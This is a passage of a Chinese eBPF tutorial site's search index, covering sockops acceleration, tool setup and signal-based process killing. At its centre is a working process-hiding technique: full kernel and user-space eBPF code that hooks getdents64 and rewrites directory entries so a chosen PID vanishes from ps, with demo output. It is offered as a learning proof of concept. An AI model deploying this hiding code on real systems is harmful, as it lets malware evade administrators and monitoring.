进行加速。在使用 Merbridge (eBPF) 优化之后,出入口流量会直接跳过很多内核模块,明显提高性能,如下图所示: merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 利用 eBPF 的 sockops 进行性能优化","id":"145","title":"利用 eBPF 的 sockops 进行性能优化"},"146":{"body":"此示例程序从发送者的套接字(出口)重定向流量至接收者的套接字(入口), 跳过 TCP/IP 内核网络栈 。在这个示例中,我们假定发送者和接收者都在 同一台 机器上运行。","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行样例","id":"146","title":"运行样例"},"147":{"body":"# Compile the bpf_sockops program\nclang -O2 -g -Wall -target bpf -c bpf_sockops.c -o bpf_sockops.o\nclang -O2 -g -Wall -target bpf -c bpf_redir.c -o bpf_redir.o","breadcrumbs":"使用 sockops 加速网络请求转发 » 编译 eBPF 程序","id":"147","title":"编译 eBPF 程序"},"148":{"body":"sudo ./load.sh 您可以使用 bpftool utility 检查这两个 eBPF 程序是否已经加载。 $ sudo bpftool prog show\n63: sock_ops name bpf_sockmap tag 275467be1d69253d gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 1232B jited 750B memlock 4096B map_ids 58\n64: sk_msg name bpf_redir tag bc78074aa9dd96f4 gpl loaded_at 2019-01-24T13:07:17+0200 uid 0 xlated 304B jited 233B memlock 4096B map_ids 58","breadcrumbs":"使用 sockops 加速网络请求转发 » 加载 eBPF 程序","id":"148","title":"加载 eBPF 程序"},"149":{"body":"iperf3 -s -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 服务器","id":"149","title":"运行 iperf3 服务器"},"15":{"body":"要开发eBPF程序,您需要安装以下软件和工具: Linux 内核:由于eBPF是内核技术,因此您需要具备较新版本的Linux内核(推荐4.8及以上版本),以支持eBPF功能。 LLVM 和 Clang:这些工具用于编译eBPF程序。安装最新版本的LLVM和Clang可以确保您获得最佳的eBPF支持。 eBPF 程序主要由两部分构成:内核态部分和用户态部分。内核态部分包含 eBPF 程序的实际逻辑,用户态部分负责加载、运行和监控内核态程序。 当您选择了合适的开发框架后,如BCC(BPF Compiler Collection)、libbpf、cilium/ebpf或eunomia-bpf等,您可以开始进行用户态和内核态程序的开发。以BCC工具为例,我们将介绍eBPF程序的基本开发流程: 安装BCC工具:根据您的Linux发行版,按照BCC官方文档的指南安装BCC工具和相关依赖。 编写eBPF程序(C语言):使用C语言编写一个简单的eBPF程序,例如Hello World程序。该程序可以在内核空间执行并完成特定任务,如统计网络数据包数量。 编写用户态程序(Python或C等):使用Python、C等语言编写用户态程序,用于加载、运行eBPF程序以及与之交互。在这个程序中,您需要使用BCC提供的API来加载和操作内核态的eBPF程序。 编译eBPF程序:使用BCC工具,将C语言编写的eBPF程序编译成内核可以执行的字节码。BCC会在运行时动态从源码编译eBPF程序。 加载并运行eBPF程序:在用户态程序中,使用BCC提供的API加载编译好的eBPF程序到内核空间,然后运行该程序。 与eBPF程序交互:用户态程序通过BCC提供的API与eBPF程序交互,实现数据收集、分析和展示等功能。例如,您可以使用BCC API读取eBPF程序中的map数据,以获取网络数据包统计信息。 卸载eBPF程序:当不再需要eBPF程序时,用户态程序应使用BCC API将其从内核空间卸载。 调试与优化:使用 bpftool 等工具进行eBPF程序的调试和优化,提高程序性能和稳定性。 通过以上流程,您可以使用BCC工具开发、编译、运行和调试eBPF程序。请注意,其他框架(如libbpf、cilium/ebpf和eunomia-bpf)的开发流程大致相似但略有不同,因此在选择框架时,请参考相应的官方文档和示例。 通过这个过程,你可以开发出一个能够在内核中运行的 eBPF 程序。eunomia-bpf 是一个开源的 eBPF 动态加载运行时和开发工具链,它的目的是简化 eBPF 程序的开发、构建、分发、运行。它基于 libbpf 的 CO-RE 轻量级开发框架,支持通过用户态 WASM 虚拟机控制 eBPF 程序的加载和执行,并将预编译的 eBPF 程序打包为通用的 JSON 或 WASM 模块进行分发。我们会使用 eunomia-bpf 进行演示。","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » 安装必要的软件和工具","id":"15","title":"安装必要的软件和工具"},"150":{"body":"iperf3 -c 127.0.0.1 -t 10 -l 64k -p 10000","breadcrumbs":"使用 sockops 加速网络请求转发 » 运行 iperf3 客户端","id":"150","title":"运行 iperf3 客户端"},"151":{"body":"$ ./trace.sh\niperf3-9516 [001] .... 22500.634108: 0: <<< ipv4 op = 4, port 18583 --> 4135\niperf3-9516 [001] ..s1 22500.634137: 0: <<< ipv4 op = 5, port 4135 --> 18583\niperf3-9516 [001] .... 22500.634523: 0: <<< ipv4 op = 4, port 19095 --> 4135\niperf3-9516 [001] ..s1 22500.634536: 0: <<< ipv4 op = 5, port 4135 --> 19095 你应该可以看到 4 个用于套接字建立的事件。如果你没有看到任何事件,那么 eBPF 程序可能没有正确地附加上。","breadcrumbs":"使用 sockops 加速网络请求转发 » 收集追踪","id":"151","title":"收集追踪"},"152":{"body":"sudo ./unload.sh","breadcrumbs":"使用 sockops 加速网络请求转发 » 卸载 eBPF 程序","id":"152","title":"卸载 eBPF 程序"},"153":{"body":"https://github.com/zachidan/ebpf-sockops https://github.com/merbridge/merbridge","breadcrumbs":"使用 sockops 加速网络请求转发 » 参考资料","id":"153","title":"参考资料"},"154":{"body":"eBPF(扩展的伯克利数据包过滤器)是 Linux 内核中的一个强大功能,可以在无需更改内核源代码或重启内核的情况下,运行、加载和更新用户定义的代码。这种功能让 eBPF 在网络和系统性能分析、数据包过滤、安全策略等方面有了广泛的应用。 在本篇教程中,我们将展示如何利用 eBPF 来隐藏进程或文件信息,这是网络安全和防御领域中一种常见的技术。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » eBPF 开发实践:使用 eBPF 隐藏进程或文件信息","id":"154","title":"eBPF 开发实践:使用 eBPF 隐藏进程或文件信息"},"155":{"body":"\"进程隐藏\" 能让特定的进程对操作系统的常规检测机制变得不可见。在黑客攻击或系统防御的场景中,这种技术都可能被应用。具体来说,Linux 系统中每个进程都在 /proc/ 目录下有一个以其进程 ID 命名的子文件夹,包含了该进程的各种信息。ps 命令就是通过查找这些文件夹来显示进程信息的。因此,如果我们能隐藏某个进程的 /proc/ 文件夹,就能让这个进程对 ps 命令等检测手段“隐身”。 要实现进程隐藏,关键在于操作 /proc/ 目录。在 Linux 中,getdents64 系统调用可以读取目录下的文件信息。我们可以通过挂接这个系统调用,修改它返回的结果,从而达到隐藏文件的目的。实现这个功能需要使用到 eBPF 的 bpf_probe_write_user 功能,它可以修改用户空间的内存,因此能用来修改 getdents64 返回的结果。 下面,我们会详细介绍如何在内核态和用户态编写 eBPF 程序来实现进程隐藏。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 背景知识与实现机制","id":"155","title":"背景知识与实现机制"},"156":{"body":"接下来,我们将详细介绍如何在内核态编写 eBPF 程序来实现进程隐藏。首先是 eBPF 程序的起始部分: // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Map to fold the dents buffer addresses\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_buffs SEC(\".maps\"); // Map used to enable searching through the\n// data in a loop\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, int);\n} map_bytes_read SEC(\".maps\"); // Map with address of actual\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, 8192); __type(key, size_t); __type(value, long unsigned int);\n} map_to_patch SEC(\".maps\"); // Map to hold program tail calls\nstruct { __uint(type, BPF_MAP_TYPE_PROG_ARRAY); __uint(max_entries, 5); __type(key, __u32); __type(value, __u32);\n} map_prog_array SEC(\".maps\"); 我们首先需要理解这个 eBPF 程序的基本构成和使用到的几个重要组件。前几行引用了几个重要的头文件,如 \"vmlinux.h\"、\"bpf_helpers.h\"、\"bpf_tracing.h\" 和 \"bpf_core_read.h\"。这些文件提供了 eBPF 编程所需的基础设施和一些重要的函数或宏。 \"vmlinux.h\" 是一个包含了完整的内核数据结构的头文件,是从 vmlinux 内核二进制中提取的。使用这个头文件,eBPF 程序可以访问内核的数据结构。 \"bpf_helpers.h\" 头文件中定义了一系列的宏,这些宏是 eBPF 程序使用的 BPF 助手(helper)函数的封装。这些 BPF 助手函数是 eBPF 程序和内核交互的主要方式。 \"bpf_tracing.h\" 是用于跟踪事件的头文件,它包含了许多宏和函数,这些都是为了简化 eBPF 程序对跟踪点(tracepoint)的操作。 \"bpf_core_read.h\" 头文件提供了一组用于从内核读取数据的宏和函数。 程序中定义了一系列的 map 结构,这些 map 是 eBPF 程序中的主要数据结构,它们用于在内核态和用户态之间共享数据,或者在 eBPF 程序中存储和传递数据。 其中,\"rb\" 是一个 Ringbuffer 类型的 map,它用于从内核向用户态传递消息。Ringbuffer 是一种能在内核和用户态之间高效传递大量数据的数据结构。 \"map_buffs\" 是一个 Hash 类型的 map,它用于存储目录项(dentry)的缓冲区地址。 \"map_bytes_read\" 是另一个 Hash 类型的 map,它用于在数据循环中启用搜索。 \"map_to_patch\" 是另一个 Hash 类型的 map,存储了需要被修改的目录项(dentry)的地址。 \"map_prog_array\" 是一个 Prog Array 类型的 map,它用于保存程序的尾部调用。 程序中的 \"target_ppid\" 和 \"pid_to_hide_len\"、\"pid_to_hide\" 是几个重要的全局变量,它们分别存储了目标父进程的 PID、需要隐藏的 PID 的长度以及需要隐藏的 PID。 接下来的代码部分,程序定义了一个名为 \"linux_dirent64\" 的结构体,这个结构体代表一个 Linux 目录项。然后程序定义了两个函数,\"handle_getdents_enter\" 和 \"handle_getdents_exit\",这两个函数分别在 getdents64 系统调用的入口和出口被调用,用于实现对目录项的操作。 // Optional Target Parent PID\nconst volatile int target_ppid = 0; // These store the string represenation\n// of the PID to hide. This becomes the name\n// of the folder in /proc/\nconst volatile int pid_to_hide_len = 0;\nconst volatile char pid_to_hide[max_pid_len]; // struct linux_dirent64 {\n// u64 d_ino; /* 64-bit inode number */\n// u64 d_off; /* 64-bit offset to next structure */\n// unsigned short d_reclen; /* Size of this dirent */\n// unsigned char d_type; /* File type */\n// char d_name[]; /* Filename (null-terminated) */ }; // int getdents64(unsigned int fd, struct linux_dirent64 *dirp, unsigned int count);\nSEC(\"tp/syscalls/sys_enter_getdents64\")\nint handle_getdents_enter(struct trace_event_raw_sys_enter *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); // Check if we're a process thread of interest // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, tgid); if (ppid != target_ppid) { return 0; } } int pid = pid_tgid >> 32; unsigned int fd = ctx->args[0]; unsigned int buff_count = ctx->args[2]; // Store params in map for exit function struct linux_dirent64 *dirp = (struct linux_dirent64 *)ctx->args[1]; bpf_map_update_elem(&map_buffs, &pid_tgid, &dirp, BPF_ANY); return 0;\n} 在这部分代码中,我们可以看到 eBPF 程序的一部分具体实现,该程序负责在 getdents64 系统调用的入口处进行处理。 我们首先声明了几个全局的变量。其中 target_ppid 代表我们要关注的目标父进程的 PID。如果这个值为 0,那么我们将关注所有的进程。pid_to_hide_len 和 pid_to_hide 则分别用来存储我们要隐藏的进程的 PID 的长度和 PID 本身。这个 PID 会转化成 /proc/ 目录下的一个文件夹的名称,因此被隐藏的进程在 /proc/ 目录下将无法被看到。 接下来,我们声明了一个名为 linux_dirent64 的结构体。这个结构体代表一个 Linux 目录项,包含了一些元数据,如 inode 号、下一个目录项的偏移、当前目录项的长度、文件类型以及文件名。 然后是 getdents64 函数的原型。这个函数是 Linux 系统调用,用于读取一个目录的内容。我们的目标就是在这个函数执行的过程中,对目录项进行修改,以实现进程隐藏。 随后的部分是 eBPF 程序的具体实现。我们在 getdents64 系统调用的入口处定义了一个名为 handle_getdents_enter 的函数。这个函数首先获取了当前进程的 PID 和线程组 ID,然后检查这个进程是否是我们关注的进程。如果我们设置了 target_ppid,那么我们就只关注那些父进程的 PID 为 target_ppid 的进程。如果 target_ppid 为 0,我们就关注所有进程。 在确认了当前进程是我们关注的进程之后,我们将 getdents64 系统调用的参数保存到一个 map 中,以便在系统调用返回时使用。我们特别关注 getdents64 系统调用的第二个参数,它是一个指向 linux_dirent64 结构体的指针,代表了系统调用要读取的目录的内容。我们将这个指针以及当前的 PID 和线程组 ID 作为键值对保存到 map_buffs 这个 map 中。 至此,我们完成了 getdents64 系统调用入口处的处理。在系统调用返回时,我们将会在 handle_getdents_exit 函数中,对目录项进行修改,以实现进程隐藏。 在接下来的代码段中,我们将要实现在 getdents64 系统调用返回时的处理。我们主要的目标就是找到我们想要隐藏的进程,并且对目录项进行修改以实现隐藏。 我们首先定义了一个名为 handle_getdents_exit 的函数,它将在 getdents64 系统调用返回时被调用。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_exit(struct trace_event_raw_sys_exit *ctx)\n{ size_t pid_tgid = bpf_get_current_pid_tgid(); int total_bytes_read = ctx->ret; // if bytes_read is 0, everything's been read if (total_bytes_read <= 0) { return 0; } // Check we stored the address of the buffer from the syscall entry long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_buffs, &pid_tgid); if (pbuff_addr == 0) { return 0; } // All of this is quite complex, but basically boils down to // Calling 'handle_getdents_exit' in a loop to iterate over the file listing // in chunks of 200, and seeing if a folder with the name of our pid is in there. // If we find it, use 'bpf_tail_call' to jump to handle_getdents_patch to do the actual // patching long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp = 0; int pid = pid_tgid >> 32; short unsigned int d_reclen = 0; char filename[max_pid_len]; unsigned int bpos = 0; unsigned int *pBPOS = bpf_map_lookup_elem(&map_bytes_read, &pid_tgid); if (pBPOS != 0) { bpos = *pBPOS; } for (int i = 0; i < 200; i ++) { if (bpos >= total_bytes_read) { break; } dirp = (struct linux_dirent64 *)(buff_addr+bpos); bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); int j = 0; for (j = 0; j < pid_to_hide_len; j++) { if (filename[j] != pid_to_hide[j]) { break; } } if (j == pid_to_hide_len) { // *********** // We've found the folder!!! // Jump to handle_getdents_patch so we can remove it! // *********** bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); bpf_tail_call(ctx, &map_prog_array, PROG_02); } bpf_map_update_elem(&map_to_patch, &pid_tgid, &dirp, BPF_ANY); bpos += d_reclen; } // If we didn't find it, but there's still more to read, // jump back the start of this function and keep looking if (bpos < total_bytes_read) { bpf_map_update_elem(&map_bytes_read, &pid_tgid, &bpos, BPF_ANY); bpf_tail_call(ctx, &map_prog_array, PROG_01); } bpf_map_delete_elem(&map_bytes_read, &pid_tgid); bpf_map_delete_elem(&map_buffs, &pid_tgid); return 0;\n} 在这个函数中,我们首先获取了当前进程的 PID 和线程组 ID,然后检查系统调用是否读取到了目录的内容。如果没有读取到内容,我们就直接返回。 然后我们从 map_buffs 这个 map 中获取 getdents64 系统调用入口处保存的目录内容的地址。如果我们没有保存过这个地址,那么就没有必要进行进一步的处理。 接下来的部分有点复杂,我们用了一个循环来迭代读取目录的内容,并且检查是否有我们想要隐藏的进程的 PID。如果我们找到了,我们就用 bpf_tail_call 函数跳转到 handle_getdents_patch 函数,进行实际的隐藏操作。 SEC(\"tp/syscalls/sys_exit_getdents64\")\nint handle_getdents_patch(struct trace_event_raw_sys_exit *ctx)\n{ // Only patch if we've already checked and found our pid's folder to hide size_t pid_tgid = bpf_get_current_pid_tgid(); long unsigned int* pbuff_addr = bpf_map_lookup_elem(&map_to_patch, &pid_tgid); if (pbuff_addr == 0) { return 0; } // Unlink target, by reading in previous linux_dirent64 struct, // and setting it's d_reclen to cover itself and our target. // This will make the program skip over our folder. long unsigned int buff_addr = *pbuff_addr; struct linux_dirent64 *dirp_previous = (struct linux_dirent64 *)buff_addr; short unsigned int d_reclen_previous = 0; bpf_probe_read_user(&d_reclen_previous, sizeof(d_reclen_previous), &dirp_previous->d_reclen); struct linux_dirent64 *dirp = (struct linux_dirent64 *)(buff_addr+d_reclen_previous); short unsigned int d_reclen = 0; bpf_probe_read_user(&d_reclen, sizeof(d_reclen), &dirp->d_reclen); // Debug print char filename[max_pid_len]; bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp_previous->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename previous %s\\n\", filename); bpf_probe_read_user_str(&filename, pid_to_hide_len, dirp->d_name); filename[pid_to_hide_len-1] = 0x00; bpf_printk(\"[PID_HIDE] filename next one %s\\n\", filename); // Attempt to overwrite short unsigned int d_reclen_new = d_reclen_previous + d_reclen; long ret = bpf_probe_write_user(&dirp_previous->d_reclen, &d_reclen_new, sizeof(d_reclen_new)); // Send an event struct event *e; e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (e) { e->success = (ret == 0); e->pid = (pid_tgid >> 32); bpf_get_current_comm(&e->comm, sizeof(e->comm)); bpf_ringbuf_submit(e, 0); } bpf_map_delete_elem(&map_to_patch, &pid_tgid); return 0;\n} 在 handle_getdents_patch 函数中,我们首先检查我们是否已经找到了我们想要隐藏的进程的 PID。然后我们读取目录项的内容,并且修改 d_reclen 字段,让它覆盖下一个目录项,这样就可以隐藏我们的目标进程了。 在这个过程中,我们用到了 bpf_probe_read_user、bpf_probe_read_user_str、bpf_probe_write_user 这几个函数来读取和写入用户空间的数据。这是因为在内核空间,我们不能直接访问用户空间的数据,必须使用这些特殊的函数。 在我们完成隐藏操作后,我们会向一个名为 rb 的环形缓冲区发送一个事件,表示我们已经成功地隐藏了一个进程。我们用 bpf_ringbuf_reserve 函数来预留缓冲区空间,然后将事件的数据填充到这个空间,并最后用 bpf_ringbuf_submit 函数将事件提交到缓冲区。 最后,我们清理了之前保存在 map 中的数据,并返回。 这段代码是在 eBPF 环境下实现进程隐藏的一个很好的例子。通过这个例子,我们可以看到 eBPF 提供的丰富的功能,如系统调用跟踪、map 存储、用户空间数据访问、尾调用等。这些功能使得我们能够在内核空间实现复杂的逻辑,而不需要修改内核代码。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 内核态 eBPF 程序实现","id":"156","title":"内核态 eBPF 程序实现"},"157":{"body":"我们在用户态的 eBPF 程序中主要进行了以下几个操作: 打开 eBPF 程序。 设置我们想要隐藏的进程的 PID。 验证并加载 eBPF 程序。 等待并处理由 eBPF 程序发送的事件。 首先,我们打开了 eBPF 程序。这个过程是通过调用 pidhide_bpf__open 函数实现的。如果这个过程失败了,我们就直接返回。 skel = pidhide_bpf__open(); if (!skel) { fprintf(stderr, \"Failed to open BPF program: %s\\n\", strerror(errno)); return 1; } 接下来,我们设置了我们想要隐藏的进程的 PID。这个过程是通过将 PID 保存到 eBPF 程序的 rodata 区域实现的。默认情况下,我们隐藏的是当前进程。 char pid_to_hide[10]; if (env.pid_to_hide == 0) { env.pid_to_hide = getpid(); } sprintf(pid_to_hide, \"%d\", env.pid_to_hide); strncpy(skel->rodata->pid_to_hide, pid_to_hide, sizeof(skel->rodata->pid_to_hide)); skel->rodata->pid_to_hide_len = strlen(pid_to_hide) + 1; skel->rodata->target_ppid = env.target_ppid; 然后,我们验证并加载 eBPF 程序。这个过程是通过调用 pidhide_bpf__load 函数实现的。如果这个过程失败了,我们就进行清理操作。 err = pidhide_bpf__load(skel); if (err) { fprintf(stderr, \"Failed to load and verify BPF skeleton\\n\"); goto cleanup; } 最后,我们等待并处理由 eBPF 程序发送的事件。这个过程是通过调用 ring_buffer__poll 函数实现的。在这个过程中,我们每隔一段时间就检查一次环形缓冲区中是否有新的事件。如果有,我们就调用 handle_event 函数来处理这个事件。 printf(\"Successfully started!\\n\");\nprintf(\"Hiding PID %d\\n\", env.pid_to_hide);\nwhile (!exiting)\n{ err = ring_buffer__poll(rb, 100 /* timeout, ms */); /* Ctrl-C will cause -EINTR */ if (err == -EINTR) { err = 0; break; } if (err < 0) { printf(\"Error polling perf buffer: %d\\n\", err); break; }\n} handle_event 函数中,我们根据事件的内容打印了相应的消息。这个函数的参数包括一个上下文,事件的数据,以及数据的大小。我们首先将事件的数据转换为 event 结构体,然后根据 success 字段判断这个事件是否表示成功隐藏了一个进程,最后打 印相应的消息。 static int handle_event(void *ctx, void *data, size_t data_sz)\n{ const struct event *e = data; if (e->success) printf(\"Hid PID from program %d (%s)\\n\", e->pid, e->comm); else printf(\"Failed to hide PID from program %d (%s)\\n\", e->pid, e->comm); return 0;\n} 这段代码展示了如何在用户态使用 eBPF 程序来实现进程隐藏的功能。我们首先打开 eBPF 程序,然后设置我们想要隐藏的进程的 PID,再验证并加载 eBPF 程序,最后等待并处理由 eBPF 程序发送的事件。这个过程中,我们使用了 eBPF 提供的一些高级功能,如环形缓冲区和事件处理,这些功能使得我们能够在用户态方便地与内核态的 eBPF 程序进行交互。 完整源代码: https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/24-hide 本文所示技术仅为概念验证,仅供学习使用,严禁用于不符合法律法规要求的场景。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 用户态 eBPF 程序实现","id":"157","title":"用户态 eBPF 程序实现"},"158":{"body":"首先,我们需要编译 eBPF 程序: make 然后,假设我们想要隐藏进程 ID 为 1534 的进程,可以运行如下命令: sudo ./pidhide --pid-to-hide 1534 这条命令将使所有尝试读取 /proc/ 目录的操作都无法看到 PID 为 1534 的进程。例如,我们可以选择一个进程进行隐藏: $ ps -aux | grep 1534\nyunwei 1534 0.0 0.0 244540 6848 ? Ssl 6月02 0:00 /usr/libexec/gvfs-mtp-volume-monitor\nyunwei 32065 0.0 0.0 17712 2580 pts/1 S+ 05:43 0:00 grep --color=auto 1534 此时通过 ps 命令可以看到进程 ID 为 1534 的进程。但是,如果我们运行 sudo ./pidhide --pid-to-hide 1534,再次运行 ps -aux | grep 1534,就会发现进程 ID 为 1534 的进程已经不见了。 $ sudo ./pidhide --pid-to-hide 1534\nHiding PID 1534\nHid PID from program 31529 (ps)\nHid PID from program 31551 (ps)\nHid PID from program 31560 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31582 (ps)\nHid PID from program 31585 (bash)\nHid PID from program 31585 (bash)\nHid PID from program 31609 (bash)\nHid PID from program 31640 (ps)\nHid PID from program 31649 (ps) 这个程序将匹配这个 pid 的进程隐藏,使得像 ps 这样的工具无法看到,我们可以通过 ps aux | grep 1534 来验证。 $ ps -aux | grep 1534\nroot 31523 0.1 0.0 22004 5616 pts/2 S+ 05:42 0:00 sudo ./pidhide -p 1534\nroot 31524 0.0 0.0 22004 812 pts/3 Ss 05:42 0:00 sudo ./pidhide -p 1534\nroot 31525 0.3 0.0 3808 2456 pts/3 S+ 05:42 0:00 ./pidhide -p 1534\nyunwei 31583 0.0 0.0 17712 2612 pts/1 S+ 05:42 0:00 grep --color=auto 1534","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 编译运行,隐藏 PID","id":"158","title":"编译运行,隐藏 PID"},"159":{"body":"通过本篇 eBPF 入门实践教程,我们深入了解了如何使用 eBPF 来隐藏进程或文件信息。我们学习了如何编写和加载 eBPF 程序,如何通过 eBPF 拦截系统调用并修改它们的行为,以及如何将这些知识应用到实际的网络安全和防御工作中。此外,我们也了解了 eBPF 的强大性,尤其是它能在不需要修改内核源代码或重启内核的情况下,允许用户在内核中执行自定义代码的能力。 您还可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 eBPF 隐藏进程或文件信息 » 总结","id":"159","title":"总结"},"16":{"body":"可以通过以下步骤下载和安装 eunomia-bpf: 下载 ecli 工具,用于运行 eBPF 程序: $ wget https://aka.pw/bpf-ecli -O ecli && chmod +x ./ecli\n$ ./ecli -h\nUsage: ecli [--help] [--version] [--json] [--no-cache] url-and-args 下载编译器工具链,用于将 eBPF 内核代码编译为 config 文件或 WASM 模块: $ wget https://github.com/eunomia-bpf/eunomia-bpf/releases/latest/download/ecc && chmod +x ./ecc\n$ ./ecc -h\neunomia-bpf compiler\nUsage: ecc [OPTIONS] [EXPORT_EVENT_HEADER]\n.... 也可以使用 docker 镜像进行编译: $ docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest # 使用 docker 进行编译。`pwd` 应该包含 *.bpf.c 文件和 *.h 文件。\nexport PATH=PATH:~/.eunomia/bin\nCompiling bpf object...\nPacking ebpf object and config into /src/package.json...","breadcrumbs":"eBPF Hello World,基本框架和开发流程 » 下载安装 eunomia-bpf 开发工具","id":"16","title":"下载安装 eunomia-bpf 开发工具"},"160":{"body":"eBPF (扩展的伯克利数据包过滤器) 是 Linux 内核的一种革命性技术,允许用户在内核空间执行自定义程序,而不需要修改内核源代码或加载任何内核模块。这使得开发人员可以非常灵活地对 Linux 系统进行观测、修改和控制。 本文介绍了如何使用 eBPF 的 bpf_send_signal 功能,向指定的进程发送信号进行干预。更多的教程文档,请参考 https://github.com/eunomia-bpf/bpf-developer-tutorial","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程","id":"160","title":"eBPF 入门实践教程:用 bpf_send_signal 发送信号终止恶意进程"},"161":{"body":"1. 性能分析: 在现代软件生态系统中,优化应用程序的性能是开发人员和系统管理员的一个核心任务。当应用程序,如 hhvm,出现运行缓慢或资源利用率异常高时,它可能会对整个系统产生不利影响。因此,定位这些性能瓶颈并及时解决是至关重要的。 2. 异常检测与响应: 任何运行在生产环境中的系统都可能面临各种异常情况,从简单的资源泄露到复杂的恶意软件攻击。在这些情况下,系统需要能够迅速、准确地检测到这些异常,并采取适当的应对措施。 3. 动态系统管理: 随着云计算和微服务架构的普及,能够根据当前系统状态动态调整资源配置和应用行为已经成为了一个关键需求。例如,根据流量波动自动扩容或缩容,或者在检测到系统过热时降低 CPU 频率。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 使用场景","id":"161","title":"使用场景"},"162":{"body":"为了满足上述使用场景的需求,传统的技术方法如下: 安装一个 bpf 程序,该程序会持续监视系统,同时对一个 map 进行轮询。 当某个事件触发了 bpf 程序中定义的特定条件时,它会将相关数据写入此 map。 接着,外部分析工具会从该 map 中读取数据,并根据读取到的信息向目标进程发送信号。 尽管这种方法在很多场景中都是可行的,但它存在一个主要的缺陷:从事件发生到外部工具响应的时间延迟可能相对较大。这种延迟可能会影响到事件的响应速度,从而使得性能分析的结果不准确或者在面对恶意活动时无法及时作出反应。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 现有方案的不足","id":"162","title":"现有方案的不足"},"163":{"body":"为了克服传统方法的这些限制,Linux 内核提供了 bpf_send_signal 和 bpf_send_signal_thread 这两个 helper 函数。 这两个函数带来的主要优势包括: 1. 实时响应: 通过直接从内核空间发送信号,避免了用户空间的额外开销,这确保了信号能够在事件发生后立即被发送,大大减少了延迟。 2. 准确性: 得益于减少的延迟,现在我们可以获得更准确的系统状态快照,这对于性能分析和异常检测尤其重要。 3. 灵活性: 这些新的 helper 函数为开发人员提供了更多的灵活性,他们可以根据不同的使用场景和需求来自定义信号的发送逻辑,从而更精确地控制和管理系统行为。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 新方案的优势","id":"163","title":"新方案的优势"},"164":{"body":"在现代操作系统中,一种常见的安全策略是监控和控制进程之间的交互。尤其在Linux系统中,ptrace 系统调用是一个强大的工具,它允许一个进程观察和控制另一个进程的执行,并修改其寄存器和内存。这使得它成为了调试和跟踪工具(如 strace 和 gdb)的主要机制。然而,恶意的 ptrace 使用也可能导致安全隐患。 这个程序的目标是在内核态监控 ptrace 的调用,当满足特定的条件时,它会发送一个 SIGKILL 信号终止调用进程。此外,为了调试或审计目的,该程序会记录这种干预并将相关信息发送到用户空间。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 内核态代码分析","id":"164","title":"内核态代码分析"},"165":{"body":"","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 代码分析","id":"165","title":"代码分析"},"166":{"body":"signal.h // Simple message structure to get events from eBPF Programs\n// in the kernel to user spcae\n#define TASK_COMM_LEN 16\nstruct event { int pid; char comm[TASK_COMM_LEN]; bool success;\n}; 这部分定义了一个简单的消息结构,用于从内核的 eBPF 程序传递事件到用户空间。结构包括进程ID、命令名和一个标记是否成功发送信号的布尔值。","breadcrumbs":"使用 bpf_send_signal 发送信号终止进程 » 1. 数据结构定义 (signal.h)","id":"166","title":"1. 数据结构定义 (signal.h)"},"167":{"body":"signal.bpf.c // SPDX-License-Identifier: BSD-3-Clause\n#include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"common.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; // Ringbuffer Map to pass messages from kernel to user\nstruct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); // Optional Target Parent PID\nconst volatile int target_ppid = 0; SEC(\"tp/syscalls/sys_enter_ptrace\")\nint bpf_dos(struct trace_event_raw_sys_enter *ctx)\n{ long ret = 0; size_t pid_tgid = bpf_get_current_pid_tgid(); int pid = pid_tgid >> 32; // if target_ppid is 0 then we target all pids if (target_ppid != 0) { struct task_struct *task = (struct task_struct *)bpf_get_current_task(); int ppid = BPF_CORE_READ(task, real_parent, 